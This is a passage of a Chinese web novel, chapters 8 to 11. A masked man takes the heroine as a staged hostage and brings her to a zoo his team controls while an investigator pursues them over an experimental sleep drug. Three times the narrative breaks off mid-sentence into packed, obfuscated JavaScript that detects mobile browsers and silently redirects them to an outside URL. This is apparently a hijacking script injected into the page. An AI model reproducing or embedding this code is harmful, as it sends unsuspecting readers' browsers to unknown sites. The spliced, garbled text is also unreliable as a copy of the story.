“柏西是你扔在路上的吧,你敢说,这件事与你无关?” “就算是我带来的,人毫发无损,我们——哦不,准确的说,是赦令大楼和市场依然可以维持表面上固有的和平,赦令大楼需要现阶段安稳的统治,市场背后的帮派也需要自己的领地,和往常一样,井水不犯河水,这样不好吗?” 蕾拉立刻就领悟到这个用意:“你是故意等在这里见我的?就为了和我谈判?你以为你们把柏西放回来,就可以当作什么都没发生?” 改写师耸了耸肩:“这么较真做什么呢,真就要像小孩子一样,你打我一下,我回你一拳?” “就算要谈判,你起码要有点诚意。”蕾拉继续往他们跟前逼近:“让我提醒你一下,柏西的姐姐,也是被你们的人带走了,我必须要知道,她还活着。” “噢……有这个人吗?”改写师顿了一下,恍然大悟:“我想起来了。可以,这不是什么难事。但是我讨厌你现在咄咄逼人的样子,也许你停下脚步会更好一点,你进攻的步伐显得有点太冒犯了。” 宴希鸣没忍住发出了一声冷笑:“你拿刀对着我才更冒犯吧!” 改写师的匕首又逼近了一点,在她的手腕处悄悄攥了一下,好像在暗示她该做出点人质的反应。 宴希鸣说:“你们别说这些了,快谈判啊!一直劫持着我是怎么回事。” 蕾拉恨恨道:“你快把这个人放了。先放了她,我们再谈。” 改写师说:“这恐怕不行,如果失去她,我会很没有安全感的。不过你也没必要有这种多余的担心,我不会对她怎么样啦,只要我能够到安全的地方,她自然能够回到你身边。” 话说着,他们又已经退到了巷子的尽头,而一辆黑色的越野车已经在此等候。 “安全的地方,你还想跑?!” “对啊,见见千里迢迢从首都赶过来的人,结果发现不过如此,莽撞无礼,太令人失——望了。” 蕾拉紧紧咬着牙关:“我不会放过你的,你以为藏在面具后就万事大吉了?我会一直追杀你,直到你带着罪恶一起进坟墓的那天。” “和你那一根筋的师傅还真像,不过如果你有这种精力,也随便吧。现在,我要带着我的人质去其他地方了。” 他不断向后退去。 那辆黑色的车门自动打开,举在宴希鸣脖子前的刀一刻也没有落下,头顶闪过一片阴影,眼前倏忽暗了下来,宴希鸣被拉进了那个车里,直到车门落下,将光线封锁在了外面的世界。 8. 第 8 章 车飞驰在街上,急迫地想把身后的尾随之人甩掉,这会街上并没有什么人,也为这种创死人不偿命的态度提供了便利。 几乎在车子发动的下一秒,宴希鸣就找准时机一把夺下了他手中的刀。与其说是夺,其实只不过是用力握住了他的手套而已。 那个人一怔,也没挣扎,很顺从地把刀递到了她的手上,武器交接的十分丝滑,随后自己退到另一侧的窗户边上去,贴着车窗观察后面的情况。 宴希鸣也从自己这侧的后视镜中,看到蕾拉在骑着摩托紧追不舍,她的个子矮,整个身体的重心完全低伏在摩托上,仿佛已经和她的载具合二为一,呼啸的一路飞过,两方就在主路上急速穿梭追逐,追了好几条街。 这是在拍动作片吗? 车座前,开车的女人有着一身黑色的健美皮肤,用她那漂亮的狐狸般的吊梢眼往后瞥了一眼,说话也是冷冰冰的,对改写师发问:“这个小不点一直在追我们怎么办?” 改写师朝着后面看着蕾拉风驰电掣的身影,头也没回地应道:“开快点。” “赦令大楼的人真是烦人,每次都像水鬼一样纠缠,还让不让人活了。” 女人看了看前方:“快到十字路口了。” 改写师这才转过头,半弯下腰,从脚底下的黑色包裹里掏出一个小球,双手灵活地把外面的塑料纸撕了,露出里面的白色脆壳,随后越野车保持车速不减,他拉下一点车窗,往外偏出一点头,将小球往车窗上砸了一下,用力朝后面扔了过去! 刹那间,粉尘四起,后面的白色浓烟愈滚愈烈,仿佛一栋大楼轰然倒塌仰起的尘烟,能见度瞬间归零。 蕾拉的身影瞬间就在浓烟中吞没了。 女人立刻急打方向盘,车子往另一条辅路开去,丝毫不管那边还是红灯,又开了五分钟,来到了跨海大桥上,看起来是准备离开渡城的中心区了。 车上的三个人都沉默的观察了后车镜一会,确认后面没有人再追上来。 可自己也用确认这个词,就很奇怪。宴希鸣怀疑道。这样不就代表自己和他们是一伙儿的?自己可是人质啊! 开车的女人也瞟了她一眼,在宴希鸣眼神注视到她的那一刻又飞快移开,没有说话。 真奇怪,这个人就像是在哪里见到过的。宴希鸣想。 改写师在此刻关掉了自己的变声器,恢复了他原本的声音,接着朝宴希鸣似笑非笑地望去。 “你不要一直拿着这个刀比划了好吗,小心伤到自己。” 他的声音如泉水般凌冽,浸润着和煦阳光的暖意,连关心都是这么真切。 宴希鸣摇了摇头:“现在我不想伤害自己,我比较想伤害他人。” 说完她就一把掀开了对方的帽子,露出了底下……黑色的头套。 宴希鸣面对劫匪一般的头套怔住了,无从下手,那就再掀一层! 黑色卤蛋一样的头颅往后仰了仰,靠在椅背上,鼻子的轮廓却高挺的更加清晰了:“诶,等等,不要这么粗暴,我自己来。” 说完他就抬手把头套像蜕皮一样往上卷起,从自己的脸上扯了下来,总算是露出了他的一整张脸。 宴希鸣怔怔地看着这种熟悉的脸,即便在被劫持的时候从声音就听出来是他了,但是就这么以绑匪和人质的身份见面还是令人有些无所适从。 他生的极为清秀,皮肤显得白皙到有些透明,他的脸庞也和他的身形一样消瘦,因此面部的五官连同骨骼也格外分明,可他的瞳孔更是黑的深邃,是整张脸上最浓郁的颜色,然而此时眼神中却抱着一丝无辜的不解,生动地看着她。 “施……”宴希鸣下意识的就要叫出他的名字,但是改写师却一根手指放在唇边嘘了一声。 宴希鸣一下字有些无所适从地坐下,手中的刀在手上转了一下。 改写师说:“你把刀给我吧,看着总觉得怪危险的。”随后就自然地伸手接过了她的刀,插在了自己脚下黑色的包里。 “这一包难道都是武器?” 宴希鸣联想到刚刚他扔出去的那个白色小球,打了个冷战。 “没有,还有止血的,医疗的。” “你随身携带着这么多危险物品干什么?” 尽管宴希鸣这么说着,她的表情上却没有露出一点猜疑的意思,就好像他们曾经老是在讨论要怎么偷跑出去玩才能不被发现、被发现了要怎么解决的那样,他总是有自己的想法。 “……”但是这次他却没有回答,眼珠微转了一下,上下唇微微碰到又张开,却一个词也没说,一侧头,就和宴希鸣的视线对上,她的视线是如此平静,但是有一些……好奇。 宴希鸣问:“蕾拉说,柏西的事和你有关?你对他做了什么啊。” 改写师干笑了两声,举起自己的一只手辩解道:“不不不,那个和我一点关系都没有。” 这样的回答让宴希鸣很是意外,可对方从未欺骗过自己,至少曾经从来不会,所以从来不对彼此说谎,几乎是他们共同达成的默契。 宴希鸣接着追问道:“那柏西的姐姐呢,你知道她在哪里吗?” 改写师点了点头,表示知道。 “和你有关?” “呃,至少到目前为止,也没什么关系。”改写师顿了一会儿又说:“现在我们就是在准备解决这件事的。” 宴希鸣不明白他的计划,但看起来不是三言两语就能解释明白的意思,于是她就率先谈论起了最新发生的事情,把渡城的失踪案以及和沉睡剂关系的猜想都一五一十说了。 改写师听的很认真,随后说:“我知道这件事,实际上柏西在……这件事发生之前就在追查新型号的沉睡剂,看起来是有一批试验品在进行临床测试。” “新的型号?” “嗯,一种被称为LOOP001的东西,它让人陷入沉睡的时间更久,同时把副作用生效的时间也提前了。” “所以如果注射这种药剂,很快就会变成那种……怪物?” 改写师沉默了,像是叹了一口气:“是啊,不过和使用的频率还是有很大关系,但是副作用生效的时间几乎提前了2/3,如果这批试剂在市场中推广,后果将不堪设想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407384|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那你现在有什么解决的想法吗?或者我们可以一起想想……” 前面的黑皮美人在这时又看了她一眼:“当务之急,是保证好你自己的安全,和赦令大楼走的那么近,不是一件好事。你也看到了刚才那个小不点追的有多猛,我们可不想你出事。” 宴希鸣微微蹙眉,这个“我们”指的是?听她的意思,并不是指在场的她自己和改写师。 改写师也笑着说:“是啊,办法我们可以一起想,但是前提是你得保护好自己才行,如果遇到和沉睡剂有关的事情,千万不要自己一个人去调查,不然就跟那个叫柏西的调查员一样了。” 宴希鸣同样看了前方一眼,看起来改写师和这个人也很熟悉的样子。 “那你现在都在做什么,这位又是谁啊?” 有些不善的语气让他们两个人都哑然失笑。 改写师说:“这是我的同事。” “我是他的助手。” 两个人几乎异口同声地回答道。 宴希鸣的目光在他们两人身上徘徊了一会,放弃了这种无聊的追问:“那我们现在要去哪里,离开渡城?” “不不,只要你不要贸然地去调查沉睡剂,渡城还是很安全的,能够让你一直平静地生活。” 宴希鸣很是震惊地看着他:“这是什么意思?” 她一直在等待着两人重新见面的机会,但对方唯一的诉求是希望她能够平静地生活? 看起来就像踢皮球一样把她一厢情愿的希望踢开了。 由于是她的语调过于震惊,改写师很快回过神来:“不,你理解错我的意思了,我是想说、等这件事结束之后,现在还不是能够一起离开的时机,对吧?如你所见,赦令大楼似乎对我也有些错误的理解,所以我不能够带着你一起走,否则你也要在通缉榜上了……” 宴希鸣这才松了一口气:“对啊,所以我现在只能用人质的身份出现了。” 改写师抿嘴笑了笑,没有回答。 车子大概又开了四十多分钟,来到了一个宽阔的地方,门口正中央堆着几块巨石,后面可以远远看见连绵的群山。 两根木头柱子被涂上了赭红色的漆,花体字上边爬满了藤曼,连接的地方撑起了一块牌匾。 上面的牌匾上写着:夏方动物园。 藤蔓一直往上攀爬到了牌匾上,垂落下来很长一条,像是绿色的瀑布,显得这个地方更加具有森林气息了。 宴希鸣当然不会认为这是让她来玩的,看着车窗外的景色问道:“这是你们在渡城的据点?” “只是暂时的,这个地方够大,适合猫捉老鼠的游戏。”这么说着,他的语气很轻快,没有一点紧张的意思:“里面挺大的,到时候你可以随便逛逛,应该会有些有趣的项目。” 宴希鸣听出了“你随便逛逛”和“我们随便逛逛”的区别,对于他接下来的打算,疑惑的感觉就更是加深了很多。 门口放着检票闸机,正有游客买完门票准备入场,可栏杆看到他们的车后自动放行,越野车就畅通无阻地开了进去。 9. 第 9 章 秋天的园区内,路边的叶子全部都变成了金箔色,有的树早就已经光秃秃了,树枝上缠满了五颜六色的毛线球,在风中摇晃着,像是树新的叶子。 宴希鸣摇下了一点车窗,小孩子们玩闹的尖叫声立刻就像是被突然投放到了空气里一样,还有不远处的店铺传来爆米花香甜的气味,路过的人都被味道传出来的地方吸引了注意力。 车子开进园区后速度就慢了下来,以一种平缓的速度前进在彩虹色的沥青路面上。 园区路面上有南瓜头套且戴着蓝色吊牌的是工作人员,没有吊牌的是商贩,大多在卖气球,气球也是各种动物的形状。路边随处都堆放着南瓜头的假人,做出各种可爱的造型,定睛一看旁边的藤蔓,发现竟然是真的南瓜! 路上随处可见的大型箭头指向哪里有园区,哪里有休息区。 由于车开得慢,宴希鸣也看清了刚才路过的路标上的三个大箭头,指向的地方分别是高山、林地和海洋。 他们车子路过的右侧应该就是林地区,隔着一个栅栏,可以看到里面有长颈鹿垂着纤长的睫毛在咀嚼着人递给它的树叶。 看起来林地区的外围都是这样的食草性动物,沿着卵石小道就可以在围栏外近距离和他们互动。 而他们的左边,箭头指向的是高山区,需要人工徒步沿着竹林的台阶往上走,稀稀拉拉的游客正在搀扶着往上爬,在丛林的遮掩下显得宁静而神秘。 “高山区有什么?” “大概,都是一些灵长类动物吧。”改写师笑着回答她的问题。 再往前就是海洋馆,以及远处还有一个巨大的摩天轮,正在晴朗的天空下随着白云一起以肉眼为不可察的速度缓缓转动着。 “我们现在要去哪里?” “先去服务中心。”改写师手指伸出,探了个头指向前方的建筑:“你看,这个就是了。” 前方是一座菱形的大楼,轮廓流利,外立面的玻璃反射着白云,好像一面巨大的镜子将天空折叠了,分不清明显的边界,但园方贴心地做了处理,用了防鸟类撞击的特殊工艺,远远看去就像一片立着的淡蓝色玻璃。 改写师没有再戴自己的头套,一股脑的塞进了包里,然后拿出了一副黑色墨镜,扣在自己脸上,正要推门,宴希鸣拍了拍他的大腿。 “啊?” “你……”宴希鸣有些难以启齿:“你还是戴个帽子吧,不然你的发色……万一被监控拍到了怎么办,虽然棕色头发的人也很多,但是,你还是尊重一下自己通缉犯的身份吧!” 改写师听话地将连衣帽子戴上了:“这样可以了吗?” “嗯。” “其实你不用担心我,这里的监控我们都可以处理,今天的园区只能拍到我们想看的地方。” 在离开的这两年时间里,对方到底是已经将自己的势力发展到了怎样的地步? 宴希鸣震惊不已:“难道你们把整个园区都给控制了!?” “没有,只是今天动物园的老板暂时将管理权限移交给我了而已。”改写师特意加重了暂时这两个字。接着拍了拍她的肩膀:“所以今天的项目你可以随便玩,都是免费的。” “……那还真是个好消息啊。” 他们三个人从车上下来,推开了菱形建筑的玻璃门,只见服务中心内此时空无一人,中心是一个环形的服务台,但是此刻没有工作人员,旁边的架子上摆放着动物园的地图手册,宴希鸣走过去,从架子里抽出了一张。 大理石服务台的后方是一个圆柱形的电梯,直接通往上面的楼层。 宴希鸣注意到电梯上方的红外摄像头打开着,微妙地移到了他们进来的方向,看起来摄像头背后的人正在监视着这里。 宴希鸣升起了一种不好的预感:“这里的工作人员呢?” “老板让他们今天都回去休息了。” “哦,我还以为你把他们都劫持了。” “我劫持那些没用的干嘛。”改写师走过来,隔着手套按了电梯,电梯门悄无声息地就打开了,他做出了一个请的手势,宴希鸣和那个高冷的黑皮美女先后走了进去,改写师跟着他们,在电梯楼层上按了一个3。 电梯内标有楼层提示,1楼是客询中心,直接跳过2楼,3楼是工作中心,4楼是观景平台。 他们直接来到三楼,中心是一个大屏,和一楼基本上是一样的格局,工作台围绕成环形,随便一眼望过去,估算这里有差不多快十个人。 大屏上显示着此刻园区的客流量。 1489/5000。 林地763,海洋521,高山205。 数字还在实时跳动着,屏幕朝外的那一面,则是整个园区的监控区域,有三个人正坐在那里看着监控,在三个分区进进出出的人都在监控的范围内。 这些“工作人员”都戴着黑色的棒球帽,虽然没有和他们对视上,但是无疑,他们帽檐底下的目光都是警惕着,只不过这种目光落在改写师上被弹射了回去,打量在宴希鸣身上的眼光纷纷被回收,回在了自己手头的事上。 宴希鸣注意到,在最角落操作电脑的男生,抬头看了她一眼,那眼神中满是好奇,又和身边的人接头交耳起来。 “你们开暖气了?热死了。”开车的那个女人说着,将自己的黑色皮衣脱了下来,随手放在自己的椅子上。 皮肤露出的地方,呈现的是一个蓝紫色的小小符号。 翠雀花的纹身。 所以身在此处的所有人,都是改写师团队的成员。 他们控制了整个园区。 “……” 宴希鸣的脸色平和地望了一眼四周,眉头却微微蹙起了。这么多人在这里是准备做什么?又为什么会将自己带来这个地方呢? 是时候该问出这些问题了。 这在她下定决心发问的时候,改写师却伸手招呼她。 “来,宴希鸣,你看看,你想喝点什么?” 只见工作中心的右侧,有一个自助吧台,用玻璃板和外面隔开,外面还有两个四人桌和椅子,舒缓的音乐声就是从这里传来的。 宴希鸣踱步过去,看到改写师已经摘下了帽子,在自助点餐机上滑动着屏幕,宴希鸣说:“这是什么,饮料吗?” “是啊。不然我给你推荐一个吧。” 改写师翻到了写着“恶魔紫苏”的一页,停顿了一下征求她的意见:“少冰?五分糖?” “好。” 吧台里的机械臂收到指令后就忙碌了起来。 从底下的冰柜里掏出了一个可携带杯子,放在制冰机底下,制冰机吐出了小份的冰块,紧接着机械臂再移到了另一台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407385|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机子前,加入紫苏捣成的合成饮料,又在另外一个接口注入了另外一种深紫色的液体,宴希鸣猜测那可能有蓝莓或者桑葚成分,两者混在一起呈现出诡异的黑紫色,目睹着一套流水线的操作再加入牛乳和糖浆。机械臂的抓夹握着杯身,上下摇晃了一下,最后移送到出餐口。 宴希鸣拿着这杯“恶魔紫苏”,看到黑紫色的基底中有黑色的气泡浮出来,又啪嗒一声碎掉,她在改写师的鼓励的目光下品尝了这杯黑紫黑紫的饮料。 …… 竟然意外的好喝! “啪。”机械臂把刚才忘记的杯套也一起丢了出来。 杯套上面也是各种动物在奔跑。这是动物园特供,改写师这么说。 宴希鸣在他的安排下做到了靠窗的沙发上,阳光已经透过玻璃窗将这里烤的微暖。 宴希鸣一边喝饮料,一边偷偷瞟向他。 改写师坐在沙发上,看着前方的地板,眼神没有焦点,不知道在想些什么。 “虽然你看起来像是有难言之隐,但至少让我知道你们在做什么吧。”宴希鸣放下手中的饮料,明明没有加冰块,但沁出来的液体还是让手心感到冰凉凉的。“柏西的姐姐,是不是就在这里?” 改写师看了她一眼,点了点头:“是的。” “是你们把她藏起来的吗?” 这下改写师摇了摇头:“是她自愿这么做的。但是遗憾,她已经不是当初的样子了。服用沉睡剂过量的代价,就是永远……” 宴希鸣心中一寒,垂下头去。 沉睡剂使用指南…… 请在规范的时间内使用,不要超量哦…… 一定要按照产品说明上的使用频率来操作啊,如果显著高于此频率,会有很可怕的事情发生,变成某种不可言说的怪物呢。 看来您已经很清楚沉睡剂的副作用了呢,请一定要严格遵守。完全怪体化是不可逆的,请一定要谨慎对待沉睡剂可能引发的副作用哦…… “她怎么会……可是,你们把她交给赦令大楼不行吗?” “现在赦令大楼以为渡城的市场抓走他们姐弟是为了挑衅,可事实上,这是她本人的选择,我也很想把误会说开,可是赦令大楼不给这个机会啊。” 看起来这个女人也是因为沉睡剂使用过量才……可是柏西呢,他是赦令大楼的人啊,怎么会接触这种东西呢? “总之,来到这里,我们会把一切都说明白。” 改写师温和地看向她。 宴希鸣看着他茶棕色的头发在太阳底下柔和成一片,忍不住心中一软,想起来他们现在还没有坐下来叙过旧呢! 于是她朝他凑近了一点,悄声说道:“来渡城以后,我一直在找你……” 改写师完全没有听出她略微有些抱怨的意思,而是点了点头:“是啊,自从你被抓走后,这么长时间以来,我也一直在找你。” 他的语气如此真诚,宴希鸣反倒不知道说什么好了,就在她一愣神的功夫。 改写师从旁边搬来了一台有线的电话机,长长的电话线一直拖在她的脚边,在宴希鸣迷茫的眼神里,自己的膝盖一沉,低头才看到他将电话放在她的膝盖上,拿起话筒拨了一串数字,以更加温柔的语气对她说:“来,现在给你的小朋友打个电话,给她报个平安吧。” “……” 10. 第 10 章 宴希鸣因他话题的急速转折反应了一瞬,盯着他在阳光下柔软渡上光晕的那一撮翘起的卷毛,又低头看他的脸:“说什么?” “就说邀请她来这个地方,柏西的姐姐就在这里,她会愿意来的。”说完,改写师就伸手按下了拨号键,但下一秒就被宴希鸣一把按住! 宴希鸣压抑着心中呼啸的风声,目光仍然沉静:“虽然我不知道你们的计划,你必须向我保证,不能胡来,尤其是不能伤害她,蕾拉不是什么坏人,还有,也不能伤害他们同行的人。” “我向你保证。”改写师立刻说道:“我是为了解决危机才出现在这里的,如今渡城的市场和赦令大楼僵持着,一旦首都驻军过来,把渡城的市场一锅端了,城市一定会引起动荡,这是两方都不愿意看到的结局,我向你保证,不会把矛盾扩大。而且——” 改写师语气微妙的一顿,膝盖低着朝她的方向挪了挪:“你为什么向着他们说话?事实上是他们追着我不放,你看到我到处逃窜了吗,不被赦令大楼伤害都算不错了。” 宴希鸣安慰他:“没有,这不是看你们人多吗?不管怎样,我肯定是在站在你这边的。” 改写师嗯了一声,将电话递给她:“打电话吧。” 电话嘟嘟了两声就被打通了。 “有什么事。” 电话被接起,那端的人立刻就知道了对方的来意,厉声问道。 “是我。” 宴希鸣这才真觉得自己是被绑架的人质,连声音都变得有些虚弱,只得按绑匪的意思说:“他们把我带到了夏方动物园。” 接下来要说什么,救命?太假了。 宴希鸣继续说:“改写师说,这里有你想要的东西。” “你现在安全吗?他没有对你做什么?”蕾拉急切地问道。 “没有,这里应该是安全的……” 改写师伸手示意将话筒给他。 “调查官你好啊。” “……你到底要做什么?!” “没什么别的意思,你现在可以过来了,邀请你来这里放松一下,趁着出外勤的时候亲近一下大自然也不错吧?” “少装模做样了,把人质都放回来,否则要你好看。” 改写师丝毫不顾对方的威胁,继续挑衅道:“门票,我会让宴希鸣带给你,请不要着急,一个人慢慢的过来,我会让你见到你想要的东西。” 蕾拉示意了一下身边正等待指令的其他调查员。其中一个立刻递了一个字条过来,上面写着:“这是夏方动物园的官方号码。” 改写师敲了一下听筒,在电话那端一字一句的说道:“我说的是,你一个人过来。我会全程监视,如果有不该出现的人进入园区,那么,我给你的这份优待就要被回收了。” “好,我可以过去,但是人质你要先放回来。” 改写师很无奈的摊了摊手:“我怕你一个人在里面横冲直闯,还是得找一个人看住你才行,我们折中一下,让这位靠谱的人质在大门口迎接你怎么样?她会给你一张vip级别的入场券,你可以在园区里尽情探索,但你们任何一个人都不可以离开园区,必须一起行动。” 宴希鸣抬起眼帘看了他一眼,就听他说:“好了,你没意见,那就这么定了。希望你们两个人能玩的愉快。”改写师啪的一声将电话挂了。 接着对宴希鸣说:“到时候你帮我去接她一下。” 宴希鸣没有说行不行,只是双手插兜凝眸朝地上看去:“我是从人质进化到陪玩了吗?你不会还有什么特殊任务要交给我吧?” 改写师在抽屉里翻找了一会,拿出了两个挂着吊牌的入场券,看上去比普通的门票要高级的多。 “别闹情绪了,这个给你。”他将吊牌挂在宴希鸣脖子上,又将正面翻过来摆正,扶着宴希鸣的肩膀端详了一下:“这样就可以了,有了这个你可以畅通无阻。” 宴希鸣问:“你让蕾拉过来,真的就是让我们玩的吗?没有别的了?这个地方是藏了点什么东西吗?” 改写师点点头:“给我一点准备的时间。” 准备的时间? 不知道为什么,他明亮的眼神突然被更深的忧伤代替了。这样的忧伤,她在很多时候都见过,与其说是同情,不如说是一种无可奈何。 宴希鸣突然觉得他又会像蝴蝶一样一下子就消失了,不由的攥住了他的胳膊:“你小心点啊,我可不想看到什么流血事件……” 改写师勉强笑笑:“怎么会呢。” 宴希鸣坚持叮嘱道:“你一定要保护好自己。事情结束后,一定要来联系我,别像之前那样失联了。” “好,”改写师顿了顿:“对了,不要让赦令大楼知道——” “你和我一样。” 这句话说的很轻。但无疑像是湖面溅起涟漪,一下子就让她想起了很不好的回忆,犹如惊涛骇浪:“你是说我们接触过的那些……可是,我并没有感觉自己和其他人不一样的地方。” “……天赋是机会,也是危险。无论是天生的,还是人为创造的,如果被别有用心的人利用了,都会造成毁灭性的破坏。总之,不要让他们知道,你是最特殊的。赦令大楼的人并不都是安全的,一旦他们知道了你的特殊性,就会试图研究你。” 宴希鸣的手攥紧了,特殊的天赋?连她自己都对此感到有些迷茫,她的身上真的有什么所谓的特殊天赋吗? 改写师的语气放缓了些:“别担心。等这件事结束后,我一定会去找你的。” 宴希鸣有些忧伤的松开了他的手,潜台词的意思不正是在今天的重逢后他又将短暂的消失了吗? 可此刻他的叮嘱每句话都和安危有关,意外着双方都有更要紧的事情要去做。 在园区的深处,隐藏着一个秘密,需要他们去发掘。 蕾拉和改写师此时都是这里最有变数的因子,双方都像是一个不定时的炸弹,随时都会引爆。 不能让这样的事情发生,宴希鸣心想,那就先按改写师说的做,和蕾拉会面,一起逛逛园区看看这里有什么,是目前唯一能做的事情。 改写师一直将她送到了电梯口,宴希鸣只身离开服务中心后,才发现蓝环上有好几个未拨通的通讯请求,因为她不小心开了免打扰模式所以没有看见。 老板的语音留言马上传了过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407386|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “喂,宴希鸣,你人呢?你是不是被拐卖了!” “看到速回消息,班不上吗!?” 宴希鸣连忙发信息和老板解释,她临时有点事,所以需要请半天假。 与此同时,蕾拉的消息也一条条发了过来。 “喂,你还活着吗?” “小心改写师,不要透露太多个人信息。” “我已经在路上了,随时保持联系。” “到了给你打电话,大门口等我。” 宴希明摁灭了屏幕。 接下来去哪里逛逛呢? 宴希鸣发现她的手中还抓着前面进门时拿着的动物园地图,她索性又折回去,帮蕾拉也拿了一张。 可以看到,现在她是在整个地图偏右方的中心。右上角是摩天轮,右下角有一个剧场图标的建筑写的是马戏团。 地图的左侧划分了两个区域,上方是高山区,左下方是林地区,林地区的右边,也就是服务中心的下方是海洋区。 其实宴希鸣对那个海洋区挺感兴趣的,而且离她现在的位置也比较近。 但想到蕾拉已经在过来的路上了,过会要去大门口迎接蕾拉,她担心时间上会有些来不及。 “那么,就先去林地区开始吧。” 毕竟刚刚坐在车上的时候,也是顺着林地区一路开过去的。 她坐上观光车,一路来到了长颈鹿栅栏所在的地方。 围绕着栅栏步入园区,才看见林地区里面有一个专门的观鸟区,游客们站在木头栅栏的湖心桥上,就可以看到水池旁边的火烈鸟金鸡独立站着休息,但是也没有在睡觉,好像和宴希鸣一样在思索着。比起他们恬静的样子,身边就显的吵闹多了。 宴希鸣沿着栅栏走着,就听到有一个小男孩说:“啊,妈妈,快来看!!这边好多鸟。” 只见拐角处的尽头,有一个大型围网,围网里有形态各异的鸟类,地面上还有孔雀正在踱步。 围网的外面标着鸟类的各种图案和名称介绍,比如体型庞大的金刚鹦鹉和有着金色羽冠的葵花鹦鹉站在栖脚架上,阳光透过围网形成了细密的光斑,洒落在有些嘈杂的环境中。 围网的正对面是一间间隔房。 黑熊和白虎等大型动物被关在笼子里,一动不动的,偶尔抬起眼,又低下头,空气中弥漫动物们身上的腥臭气味,混合着消毒水的味道,宴希鸣举起袖子捂住了自己的鼻子。 但在这会儿,宴希鸣看到他们突然想起了之前被关在小岛上的自己。 一直被圈养在这么狭小的空间,这些动物实在是太可怜了。 她不禁回忆过去,思绪有些迷茫的放空,就在这时,一个像是被小刀划嗓子的声音在她的背后突然说道:“请注意……” “有怪物!” “请注意……有怪物!” “请注意,有怪物!!啊啊啊啊!” 身影一声比一声高昂,在她的耳边响了起来,好像发出的警告。 宴希鸣被这突然起来的怪叫声吓了一跳。 她缓缓转过身,背后有两颗绿豆大的眼睛只是同样望着她……仿佛来自深渊的凝视。 11. 第 11 章 深渊的尽头是一只灰鹦鹉,它用脚抓在网上,歪着脑袋朝她大声叫嚷着,一下子就吸引了周围的目光。 小孩拉着妈妈的衣服说:“妈妈,快来看,这只鹦鹉会说话!” “对啊,它会模仿人类的声音。智力上也相当于小朋友呢。” 小孩子逗了灰鹦鹉一会儿,就离开了,宴希鸣一直谨慎地盯着它浅黄色的虹膜,好在那只鸟没有继续说出什么骇人听闻的话,只是平静地注视着他们。 宴希鸣直到周围没人了,才跨了一大步上去,对着鹦鹉问道:“除了怪物还有什么?” 好像在试图与游戏里的npc触发对话一样,灰鹦鹉和她大眼瞪小眼,彼此都没有说话。 难道是没有触发关键词? 宴希鸣就在这里排列提问:“怪物?动物园?柏西?” 还不对? “改写师?赦令大楼?沉睡剂?” 鹦鹉歪着头,看起来像是彻底宕机了。 这时又冒出来了一个小孩说:“爸爸你看,这边有个姐姐在教鹦鹉说话。” “……”她也不是很想像傻子一样和鹦鹉对话吧。 灰鹦鹉用鸟喙理了理羽毛,装作什么也没有发生的样子。 那对父子刚从背后的大型动物展区绕出来,拿着地图在看下一个地方。 “好啦,这边我已经逛完了,要去下一个了,先去高山区怎么样?” “爸爸,我想先去海洋馆。” “那个离剧场更近,我们逛完高山区再过去,刚好还可以赶上马戏团。” 宴希鸣立刻上前问道:“打扰一下,您说的马戏团是?” “哦,是这个呀。”戴帽子的父亲给她出示了手中的海报:“今天晚上六点马戏团有一个表演呢。” 这是夏方动物园马戏团的海报,上面用黑色和黄色的字体碰撞着营造出夸张的效果,让人拿在手上有种捡到了赌场海报的错觉。 今晚六点,超越视觉。奇幻世界,震撼上演! 万兽之王,与人共舞。就在今夜,不见不散! 宴希鸣僵硬地将海报递还给那位父亲。 为什么感觉这个马戏团这么不正常呢? 她微妙地感觉出这里的一切都像是闯关游戏里的线索,在提示着什么。 这个马戏团,就是主人公必须要探索的地点之一。还是等蕾拉到了和她商量一下吧。 宴希鸣在林地区又待了一会儿,蓝环再次跳出了一小截竖屏,一则通讯请求。 这次是蕾拉。 “宴希鸣,我到了。你的迎接在哪里?” 知道她行动自由后,蕾拉的语气也没有之前的严肃,反倒变得轻快起来。 “没有及时营救本人质就算了,竟然还试图剥削我?你一辈子在门外吧,说不定你进不来我就可以直接走了呢。” “别,我这就来救你!” 宴希鸣飞奔到动物园的售票处,这里和她进来的大门是一个地方。 一辆车不远不近的停在路口。 宴希鸣跨出大门,发现也根本无人阻拦自己。确实是实打实的自由,也就是如果她此刻想走,真的就能离开。 可这个动物园给她的感觉就是十分不对劲,在井然有序的运转中处处带着诡异,加上即将爆发的冲突,让人有种风雨欲来的不安感。赦令大楼的人就在此处,再加上那个人……看起来他们要在这里搞点大事,说什么自己也不能就这样离开。 肩负着维系和平的重大责任,她往四周打量了一圈:“改……那个人不是说你一个人来吗?” 蕾拉拍拍胸脯:“我这不是一个人,难道我是半个人?“蕾拉瞟了车一眼:”他们在外面,没有进去。” 